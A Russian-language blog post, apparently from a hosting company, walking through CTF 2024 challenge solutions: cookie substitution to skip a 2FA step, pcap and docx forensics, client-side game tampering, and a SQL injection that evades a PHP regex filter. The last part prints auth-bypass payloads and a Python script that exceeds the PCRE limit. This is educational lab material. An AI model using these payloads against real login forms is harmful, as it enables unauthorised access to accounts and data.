Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Делимся решением задач от CTF-турниров со всего мира. Пригодится как опытным, так и начинающим специалистам по кибербезопасности.

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

В мире кибербезопасности есть такое событие, как CTF-турнир (Capture The Flag). В нем участники захватывают флаги соперников и защищают свои. Организаторы «зашивают» их в специально разработанные системы — заполучить флаги можно только через взлом. В подборке рассказываем о прошедших CTF-турнирах и делимся решением самых интересных задач по мнению Ивана, специалиста по кибербезопасности в Selectel.

Материал не обучает хакингу и не призывает к противозаконным действиям. Все описанное ниже лишь демонстрирует, какие пробелы в безопасности встречаются в реальных веб-приложениях. И предупреждает, на что нужно обратить внимание при разработке программного обеспечения.

Быстрая навигация по тексту:

KnightCTF 2024, часть 1

В январе прошел CTF-турнир KnightCTF 2024, который организовали cybersecurity-энтузиасты из Бангладеша. За 24 часа участникам предстояло решить задачи из категорий cryptography, reverse engineering, digital forensics, pwn, steganography, web и networking. Коллеге особенно понравилась задача Gain Access 2 из веб-технологий. Ниже рассказываем, как он ее решил.

Решение задачи

Условие

У вас есть все, чтобы достичь цели. Рыцарь указал вам путь. Следуйте по нему и получите флаг. Имейте в виду, что все задачи основаны на реальных ошибках в приложениях.

Решение

Дана форма авторизации:

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

В коде страницы закомментирован путь к файлу. Переходим к нему и видим послание.

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году
Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

На странице выводится или логин/пароль, или логин/куки — надо проверить оба варианта. Возвращаемся на форму авторизации и вводим полученные данные — логин или пароль неверный.

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Заходим в исходный код страницы и видим условие: если авторизация пройдет успешно, пользователя перенаправят на страницу 2fa.php.

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Включаем Burp в режим proxy и делаем запрос к 2fa.php. В перехваченном запросе меняем кукки на полученное ранее значение d05fcd90ca236d294384abd00ca98a2d. После — переходим на страницу для ввода второго значения:

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Аналогично предыдущему условию работаем с dashboard.php. Делаем запрос к dashboard.php, подменяем в Burp кукки и попадаем на страницу с флагом. Готово — задача решена.

KnightCTF 2024, часть 2

Продолжение материала о KnightCTF 2024, но уже с другими задачами из категории networking. Некоторые из них повторяют предыдущие — так, например, автор находит скрытый флаг в уже известном .pcap-файле и использует bash-history TCP-протокола. Последнее было в задаче Confidential, рассказываем о ней подробнее.

Решение задачи

Условие

Здесь есть что-то конфиденциальное. Сможете ли вы найти его? Пожалуйста, воспользуйтесь приложением к первой задаче. Формат флага: KCTF{fl4G}

Дано

Решение

Возвращаемся к bash-history из предыдущей задачи. На 162 строке видим скачанный архив maybeconfidential.zip. Узнаем, что в нем находится.

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

В Wireshark можно получить файлы, которые передавались в момент записи дампа трафика. Выбираем ФайлЭкспортировать объектыHTTP, добавляем в фильтр maybeconfidential.zip:

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Распаковываем архив. Внутри — .docx-файл с картинкой. На ней изображен маскот рыцаря Knight CTF 2024:

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Формат .docx — тоже архив, нужно его открыть. В нем находятся три папки с файлами и XML-документ.

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

С помощью обычного поиска по тексту ищем в названии KCTF. Находим флаг в maybeconfidential/maybeconfidential/word/document.xml. Задача решена!

DiceCTF 2024 Quals

В начале февраля команда DiceGang провела квалификацию DiceCTF 2024 Quals. Это был Jeopardy-турнир длительностью 48 часов. Все задачи были распределены по пяти направлениям: crypto, misc, pwn, rev и web. В последнем запомнилась задача dicedicegoose: из-за неоднозначного условие было непонятно, что нужно делать. Посмотрим, какое решение нашел наш коллега Иван.

Решение задачи

Условие

Следуйте за лидером.

Дано

Решение

Дана только ссылка на сайт. Переходим на нее и видим такую игру:

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Заходим в исходный код страницы, а там — полотно из JavaScript-кода. Не будем приводить здесь весь листинг, вместо этого покажем интересные куски, за которые можно зацепиться. Перед нами — переменные player и goose с числовыми значениями.

let player = [0, 1]; let goose = [9, 9];

Из кода понятно, что переменные — это массивы с исходными координатами красного кубика и черного квадрата. Расположим их в массиве history:

let history = []; history.push([player, goose]);

Далее видим блок с изменениями координат player и goose:

document.onkeypress = (e) => { if (won) return; let nxt = [player[0], player[1]]; switch (e.key) { case "w": nxt[0]--; break; case "a": nxt[1]--; break; case "s": nxt[0]++; break; case "d": nxt[1]++; break; } if (!isValid(nxt)) return; player = nxt; if (player[0] === goose[0] && player[1] === goose[1]) { win(history); won = true; return; } do { nxt = [goose[0], goose[1]]; switch (Math.floor(4 * Math.random())) { case 0: nxt[0]--; break; case 1: nxt[1]--; break; case 2: nxt[0]++; break; case 3: nxt[1]++; break; } } while (!isValid(nxt)); goose = nxt; history.push([player, goose]); redraw(); };

Изменение координат player происходит нажатием клавиш W, A, S, D. Координаты goose меняются на единицу в сторону, выбранную случайным образом. И после каждого изменения — добавляются в history.

То есть игрок двигает кнопками красный кубик, тогда как черный квадрат перемещается случайным образом. А массив history сохраняет всю историю координат.

Из кода видно, что игрок выигрывает, если координаты player и goose совпадают:

if (player[0] === goose[0] && player[1] === goose[1]) { win(history); won = true; return; }

Чтобы получить флаг, нужно набрать девять очков и с помощью вызова функции передать в нее массив history:

if (score === 9) log("flag: dice{pr0_duck_gam3r_" + encode(history) + "}");

Функция encode выглядит следующим образом:

function encode(history) { const data = new Uint8Array(history.length * 4); let idx = 0; for (const part of history) { data[idx++] = part[0][0]; data[idx++] = part[0][1]; data[idx++] = part[1][0]; data[idx++] = part[1][1]; } let prev = String.fromCharCode.apply(null, data); let ret = btoa(prev); return ret; }

Каждое нажатие клавиши управления добавляет одно очко. Получается, выигрыш возможен только в сценарии, когда красный кубик двигается вниз, а черный квадрат — влево.

Для примера прикрепляем результат игры без изменения кода, а также содержимое массива history и результат выполнения функции encode:

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году
Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Логика игры понятна. Теперь нужно получить массив history определенного вида, чтобы захватить флаг. Есть два варианта, как это сделать. Можно через консоль задать значение массива и вызвать функцию encode или просто набрать девять очков в игре. Мы пойдем по второму пути.

Сохраняем index.html и меняем в блоке кода координаты черного квадрата так, чтобы за каждый ход он двигался только влево:

# Было do { nxt = [goose[0], goose[1]]; switch (Math.floor(4 * Math.random())) { case 0: nxt[0]--; break; case 1: nxt[1]--; break; case 2: nxt[0]++; break; case 3: nxt[1]++; break; } }
# Стало do { nxt = [goose[0], goose[1]]; nxt[1]--; }

Переходим из кода страницы в Source, затем — в Override. В браузере заменяем index.html отредактированным JavaScript-кодом.

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Перезагружаем страницу, нажимаем девять раз S и получаем результат:

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Далее идем в консоль, вызываем функцию encode и передаем в нее аргумент history, чтобы получить недостающую часть флага. Готово!

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

0xL4ugh CTF 24

Третий CTF-турнир, но от команды 0xL4ugh из Египта. В течение суток участникам нужно было решить 36 заданий из категории web, DFIR, reverse, crypto, pwn, misc и osint. По сравнению с предыдущими турнирами задачи здесь сложнее: они основаны на реальных случаях и исследованиях. Ниже делимся решением Simple WAF — задачей по веб-технологиям.

Решение задачи

Условие

Я внес в белый список входные значения, так что, думаю, я в безопасности: P

Дано

Решение

По ссылке — форма из предыдущего задания:

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Переходим к файлам из предыдущего архива.

В init.db нам предлагают создать таблицу с тремя столбцами.

CREATE TABLE IF NOT EXISTS `users` ( `id` varchar(50) NOT NULL, `username` varchar(20) NOT NULL, `password` varchar(50) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;

После — добавить запись об администраторе:

insert into users(id,username,password) values('1','admin','c0b12ccad044e2e525cf818077413c4c');

На этот раз пароль — не admin. Хеш md5 к нему не подходит.

Перейдем к index.php. В нем есть ряд условий:

if(isset($_POST['login-submit'])) { if(!empty($_POST['username'])&&!empty($_POST['password'])) { $username=$_POST['username']; $password=md5($_POST['password']); if(waf($username)) { die("WAF Block"); } else { $res = $conn->query("select * from users where username='$username' and password='$password'"); if($res->num_rows ===1) { echo "0xL4ugh{Fake_Flag}"; } else { echo "<script>alert('Wrong Creds')</script>"; } } } else { echo "<script>alert('Please Fill All Fields')</script>"; } }

Если username и password в отправленном POST-запросе не пустые, то идет проверка в функции waf:

function waf($input) { if(preg_match("/([^a-z])+/s",$input)) { return true; } else { return false; } }

Дальнейшая обработка запроса происходит только в том случае, если проверка в waf прошла неуспешно. После этого она выполняет запрос к базе данных:

select * from users where username='$username' and password='$password'

Если в результате запроса к БД количество строк равняются единице, то мы получим флаг. Для этого необходимо выполнить два условия.

1. Данные в username не должны попадать под шаблон:

preg_match("/([^a-z])+/s",$input)

2. Запрос к БД должен вернуть только одну строку:

if($res->num_rows ===1) { echo "0xL4ugh{Fake_Flag}"; }

Поскольку в базе данных находится одна строка, то обход авторизации должен сработать независимо от переданных значений username, password. Добавляем еще одно условие, чтобы обойти авторизацию:

‘ or 1=1;# ‘ or 1=1;-- - ‘ or true;# ‘ or true;-- -

Данные в username не должны попадать под шаблон preg_match("/([^a-z])+/s",$input). В нем происходит проверка наличия букв: если они есть, то запрос к БД не доходит. Поэтому стоит учитывать фильтр preg_match php, чтобы не допустить появление букв в username.

Прикладываем пример альтернативного обхода авторизации, который не содержит букв:

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

В итоговой SQL-инъекции меняем or 1=1-- — на || 1=1-- -.

Теперь необходимо решить, как обойти preg_match. По ссылке можно найти информацию о функции и ее ошибках. Делаем вывод, что preg_match, являясь PCRE-функцией, рекурсивно проверяет переданную строку по шаблону и имеет предел входных значение. Информацию о лимитах функции можно найти в руководстве по PHP. При превышении этого значения waf вернет false, что нам и требуется.

Собираем POST-запрос в Python и передаем его в тестовое приложение, запущенное в Docker. Собираем образ Docker и запускаем контейнер:

$ sudo docker build simple_waf_togive --tag "waf" $ sudo docker run waf

Пишу скрипт test_waf.py.

Интересное наблюдение: при 10’001 символов функция возвращает false. Возможно, это значение может быть еще ниже, его можно определить параметром pcre.recursion_limit в php.ini.

import requests address = 'http://172.17.0.2/' username = '1'*10001 + "' || 1=1-- -" password = 'any' data = {'username':username, 'password':password, 'login-submit':''} print(requests.post(address,data).text)

В ответе получаем страницу с тестовым флагом:

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Теперь этим скриптом можно обратиться к основному приложению, чтобы получить флаг. Готово!

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Хотите подробнее узнать о кибербезопасности, чтоб решать «хакерские» задачи? Начните с курса «Введение в сетевую безопасность». В нем делимся инструкциями, с помощью которых вы научитесь анализировать сетевой трафик и проводить сканирование портов.

12
Начать дискуссию
\";\n }\n }\n\t }\n else\n\t {\n\t\t echo \"\";\n\t }\n}","lang":""}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

Если username и password в отправленном POST-запросе не пустые, то идет проверка в функции waf:

"}},{"type":"code","cover":false,"hidden":false,"anchor":"","data":{"text":"function waf($input)\n{\n if(preg_match(\"/([^a-z])+/s\",$input))\n {\n return true;\n }\n else\n {\n return false;\n }\n}","lang":""}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

Дальнейшая обработка запроса происходит только в том случае, если проверка в waf прошла неуспешно. После этого она выполняет запрос к базе данных:

"}},{"type":"code","cover":false,"hidden":false,"anchor":"","data":{"text":"select * from users where username='$username' and password='$password'","lang":""}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

Если в результате запроса к БД количество строк равняются единице, то мы получим флаг. Для этого необходимо выполнить два условия.

"}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

1. Данные в username не должны попадать под шаблон:

"}},{"type":"code","cover":false,"hidden":false,"anchor":"","data":{"text":"preg_match(\"/([^a-z])+/s\",$input)","lang":""}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

2. Запрос к БД должен вернуть только одну строку:

"}},{"type":"code","cover":false,"hidden":false,"anchor":"","data":{"text":"if($res->num_rows ===1)\n{\necho \"0xL4ugh{Fake_Flag}\";\n}","lang":""}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

Поскольку в базе данных находится одна строка, то обход авторизации должен сработать независимо от переданных значений username, password. Добавляем еще одно условие, чтобы обойти авторизацию:

"}},{"type":"code","cover":false,"hidden":false,"anchor":"","data":{"text":"‘ or 1=1;#\n‘ or 1=1;-- -\n‘ or true;#\n‘ or true;-- -","lang":""}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

Данные в username не должны попадать под шаблон preg_match(\"/([^a-z])+/s\",$input). В нем происходит проверка наличия букв: если они есть, то запрос к БД не доходит. Поэтому стоит учитывать фильтр preg_match php, чтобы не допустить появление букв в username.

"}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

Прикладываем пример альтернативного обхода авторизации, который не содержит букв:

"}},{"type":"media","cover":false,"hidden":false,"anchor":"","data":{"items":[{"title":"","image":{"type":"image","data":{"uuid":"63250d85-1002-542f-af2d-2ffb89dacf3e","width":758,"height":229,"size":17010,"type":"png","color":"f3fbfb","hash":"","external_service":[],"base64preview":"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAAKAAoDAREAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMFCf/EACUQAAEDAgMJAAAAAAAAAAAAAAIAAQMREgRSkQUTFCEiMUFy0v/EABYBAQEBAAAAAAAAAAAAAAAAAAACAf/EABcRAQEBAQAAAAAAAAAAAAAAAAARASH/2gAMAwEAAhEDEQA/ANM4jaaNzaLaA18FMTP39lUZ2zTtwxdTyYtq86cQf0kZVOwMg6KVCwMg6IP/2Q=="}}}]}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

В итоговой SQL-инъекции меняем or 1=1-- — на || 1=1-- -.

"}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

Теперь необходимо решить, как обойти preg_match. По ссылке можно найти информацию о функции и ее ошибках. Делаем вывод, что preg_match, являясь PCRE-функцией, рекурсивно проверяет переданную строку по шаблону и имеет предел входных значение. Информацию о лимитах функции можно найти в руководстве по PHP. При превышении этого значения waf вернет false, что нам и требуется.

"}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

Собираем POST-запрос в Python и передаем его в тестовое приложение, запущенное в Docker. Собираем образ Docker и запускаем контейнер:

"}},{"type":"code","cover":false,"hidden":false,"anchor":"","data":{"text":"$ sudo docker build simple_waf_togive --tag \"waf\"\n$ sudo docker run waf","lang":""}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

Пишу скрипт test_waf.py.

"}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

Интересное наблюдение: при 10’001 символов функция возвращает false. Возможно, это значение может быть еще ниже, его можно определить параметром pcre.recursion_limit в php.ini.

"}},{"type":"code","cover":false,"hidden":false,"anchor":"","data":{"text":"import requests\n\naddress = 'http://172.17.0.2/'\nusername = '1'*10001 + \"' || 1=1-- -\"\npassword = 'any'\n\ndata = {'username':username, 'password':password, 'login-submit':''}\n\nprint(requests.post(address,data).text)","lang":""}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

В ответе получаем страницу с тестовым флагом:

"}},{"type":"media","cover":false,"hidden":false,"anchor":"","data":{"items":[{"title":"","image":{"type":"image","data":{"uuid":"095f1df0-ba6f-5519-8835-33f5ddfc843d","width":1013,"height":288,"size":90764,"type":"png","color":"24242d","hash":"","external_service":[],"base64preview":"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAAKAAoDAREAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAgMFCP/EACMQAAEDAwIHAAAAAAAAAAAAAAEAAwQCBREUFVRVYoKSk9H/xAAWAQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDErtmLdJqquLWB1j6tqRG2u8xie5BYZiRSRmM0ewID0cThWfAIP//Z"}}}]}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"

Теперь этим скриптом можно обратиться к основному приложению, чтобы получить флаг. Готово!

"}},{"type":"media","cover":false,"hidden":false,"anchor":"","data":{"items":[{"title":"","image":{"type":"image","data":{"uuid":"9cb3d922-0de0-5070-a9fa-07081afb87d6","width":1006,"height":343,"size":94188,"type":"png","color":"292937","hash":"","external_service":[],"base64preview":"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAAKAAoDAREAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAwUI/8QAJBAAAAUBCAMAAAAAAAAAAAAAAAECAwQSBhEUFVFUcYKSk9H/xAAYAQACAwAAAAAAAAAAAAAAAAAAAgEDBP/EABYRAQEBAAAAAAAAAAAAAAAAAAACEf/aAAwDAQACEQMRAD8Axw5Z+U0mpSmC7kNuqhZNK0j+5H0AU4caOq+phs+UkJsknwsXbNeBBDv/2Q=="}}}]}},{"type":"incut","cover":false,"hidden":false,"anchor":"","data":{"text":"

Хотите подробнее узнать о кибербезопасности, чтоб решать «хакерские» задачи? Начните с курса «Введение в сетевую безопасность». В нем делимся инструкциями, с помощью которых вы научитесь анализировать сетевой трафик и проводить сканирование портов.

"}}],"summaryContent":null,"isExistSummaryContent":false,"warningFromEditor":null,"warningFromEditorTitle":null,"counters":{"comments":0,"favorites":3,"reposts":0,"views":3132,"hits":3211,"reads":null,"online":0},"dateFavorite":0,"hitsCount":3211,"isCommentsEnabled":true,"isLikesEnabled":true,"isRemovedByUserRequest":false,"isFavorited":false,"isPinned":false,"repostId":null,"repostData":null,"subscribedToTreads":false,"isEditorial":false,"isAudioAvailable":false,"audioUrl":null,"isAudioAvailableToGenerate":false,"commentEditor":{"enabled":true,"who":null,"text":"","until":null,"reason":null,"type":"everybody"},"isBlur":false,"isPublished":true,"isDisabledAd":false,"withheld":[],"ogTitle":null,"ogDescription":null,"url":"https://vc.ru/dev/1089007-ishem-uyazvimosti-kak-belye-hakery-podborka-zadach-iz-ctf-turnirov-v-2024-godu","author":{"id":172558,"name":"Selectel","nickname":null,"description":"Крупнейший независимый провайдер сервисов IT-инфраструктуры в России. Облачные серверы от 29 ₽/час: slc.tl/bfnnu","uri":"","avatar":{"type":"image","data":{"uuid":"bdaede51-3c77-55c3-a3ab-e9940df92258","width":640,"height":640,"size":103719,"type":"jpg","color":"d2454a","hash":"","external_service":[],"base64preview":"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAICAgICAQICAgIDAgIDAwYEAwMDAwcFBQQGCAcJCAgHCAgJCg0LCQoMCggICw8LDA0ODg8OCQsQERAOEQ0ODg7/2wBDAQIDAwMDAwcEBAcOCQgJDg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg7/wAARCAAKAAoDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAACAIG/8QAIRAAAgEDBQADAAAAAAAAAAAAAQIDBAURAAYHITEIEiP/xAAVAQEBAAAAAAAAAAAAAAAAAAAEBf/EAB4RAAEDBAMAAAAAAAAAAAAAAAECAwQABREhQYHB/9oADAMBAAIRAxEAPwA8cV8WcVX34ebqv98rlj3FSozQO9yjhWMBcj8zlnLHzrB8yND6e2Wxa2ZRUhQHIA+3nertk8y7UqQszgDOAHPWsoSSSSck+nVKMw4h1wlwnJpl4uMR2FFSiMlJCdkc6A8z2a//2Q=="}},"cover":{"cover":{"type":"image","data":{"uuid":"861886cd-1ef2-5754-af38-6219cc645017","width":1280,"height":511,"size":28049,"type":"jpg","color":"142434","hash":"","external_service":[],"base64preview":"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAcFBQYFBAcGBgYIBwcICxILCwoKCxYPEA0SGhYbGhkWGRgcICgiHB4mHhgZIzAkJiorLS4tGyIyNTEsNSgsLSz/2wBDAQcICAsJCxULCxUsHRkdLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCz/wAARCAAKAAoDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAMH/8QAGhAAAQUBAAAAAAAAAAAAAAAAAAEDE1SSAv/EABUBAQEAAAAAAAAAAAAAAAAAAAQF/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8AxOFmymFELNnnKkQNT3//2Q=="}},"cover_y":57},"achievements":[{"title":"Год на vc.ru","code":"registration_1_year","description":"Первый год с vc.ru. Получена 24 июля 2025.","previewUuid":"0d11c244-49de-50e7-894e-b9b27945d42b","formats":{"glb":"https://static.vc.ru/achievements/fish.glb","usdz":"https://static.vc.ru/achievements/fish.usdz"},"viewData":{"contentColor":"#C67AA3","textMaxWidth":0.634765625,"textX":0.5888671875,"textY":0.54296875,"logoX":0.5859375,"logoY":0.6669921875,"logoXNoText":0.6044921875,"logoYNoText":0.5439453125},"id":5249500,"userId":172558,"count":0,"shareImage":"https://api.vc.ru/achievements/share/5249500"},{"title":"3 года на vc.ru","code":"registration_3_years","description":"Провёл 3 года вместе с vc.ru. Получена 23 июля 2025.","previewUuid":"d9d72ac5-bcb5-55e0-8c72-b99251e5cdd9","formats":{"glb":"https://static.vc.ru/achievements/shark.glb","usdz":"https://static.vc.ru/achievements/shark.usdz"},"viewData":{"contentColor":"#8E6F09","textMaxWidth":0.66796875,"textX":0.5205078125,"textY":0.341796875,"logoX":0.5205078125,"logoY":0.4609375,"logoXNoText":0.5,"logoYNoText":0.3662109375},"id":1625413,"userId":172558,"count":0,"shareImage":"https://api.vc.ru/achievements/share/1625413"},{"title":"5 лет на vc.ru","code":"registration_5_years","description":"Провёл 5 лет вместе с vc.ru. Получена 23 июля 2025.","previewUuid":"a9140d54-73b8-5f40-afa8-449fbaafd42b","formats":{"glb":"https://static.vc.ru/achievements/whale.glb","usdz":"https://static.vc.ru/achievements/whale.usdz"},"viewData":{"contentColor":"#8E6F09","textMaxWidth":0.66796875,"textX":0.533203125,"textY":0.658203125,"logoX":0.533203125,"logoY":0.77734375,"logoXNoText":0.4375,"logoYNoText":0.66015625},"id":398705,"userId":172558,"count":0,"shareImage":"https://api.vc.ru/achievements/share/398705"}],"lastModificationDate":1764939319,"isSubscribed":false,"isSubscribedToNewPosts":false,"isMuted":false,"isAvailableForMessenger":true,"badgeId":null,"isDonationsEnabled":false,"isPlusGiftEnabled":true,"isUnverifiedBlogForCompanyWithoutPro":true,"isRemovedByUserRequest":false,"isFrozen":false,"isDisabledAd":false,"isPlus":false,"isVerified":false,"isPro":false,"yandexMetricaId":null,"badge":null,"isOnline":false,"tgChannelShortname":null,"isUnsubscribable":true,"type":1,"subtype":"personal_blog"},"subsite":{"id":235819,"name":"Разработка","description":"Сообщество разработчиков: публикации о личном опыте, выдающиеся приёмы при решении рутинных задач, полезные материалы для профессионального роста.","uri":"/dev","avatar":{"type":"image","data":{"uuid":"fef5b5fb-e488-5b7f-8445-e3a26a910b44","width":1200,"height":1200,"size":7757,"type":"png","color":"343434","hash":"04042b2b1c1000","external_service":[]}},"cover":{"type":"image","data":{"uuid":"2a214cc5-35cc-58ca-bc07-fc1c892d2101","width":960,"height":280,"size":177,"type":"png","color":"343434","hash":"","external_service":[]}},"lastModificationDate":1642411346,"isSubscribed":false,"isSubscribedToNewPosts":false,"isMuted":false,"isAvailableForMessenger":false,"isDisabledAd":false,"nickname":"dev","isUnsubscribable":true,"badge":null,"badgeId":null,"isDonationsEnabled":false,"isOnline":false,"isPlus":false,"isUnverifiedBlogForCompanyWithoutPro":false,"isVerified":false,"isRemovedByUserRequest":false,"isFrozen":false,"isPro":false,"type":2,"subtype":"community"},"reactions":{"counters":[{"id":1,"count":12}],"reactionId":0},"isNews":false,"source":null,"clusters":[],"donations":{"amount":0,"isDonated":false},"commentsSeenCount":null,"keywords":[],"media":{"type":"image","data":{"uuid":"e3856fea-ebcf-5e93-9d46-f8ce2029a1d4","width":1344,"height":648,"size":61570,"type":"jpg","color":"29365a","hash":"","external_service":[],"base64preview":"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAA4KCw0LCQ4NDA0QDw4RFiQXFhQUFiwgIRokNC43NjMuMjI6QVNGOj1OPjIySGJJTlZYXV5dOEVmbWVabFNbXVn/2wBDAQ8QEBYTFioXFypZOzI7WVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVn/wAARCAAKAAoDAREAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAgMEBv/EACEQAAEDAgcBAAAAAAAAAAAAAAEAAhEDEgQTISJRUpHB/8QAGAEAAgMAAAAAAAAAAAAAAAAAAAECAwT/xAAZEQEBAQEBAQAAAAAAAAAAAAAAEQESIVH/2gAMAwEAAhEDEQA/AM4MG0ti4S6I0+rZxlV8kZVPrU8UZnwpioDYU56YLRwEQP/Z"}},"customCover":null,"robotsTag":"noindex","categories":[],"isAnonymized":true}};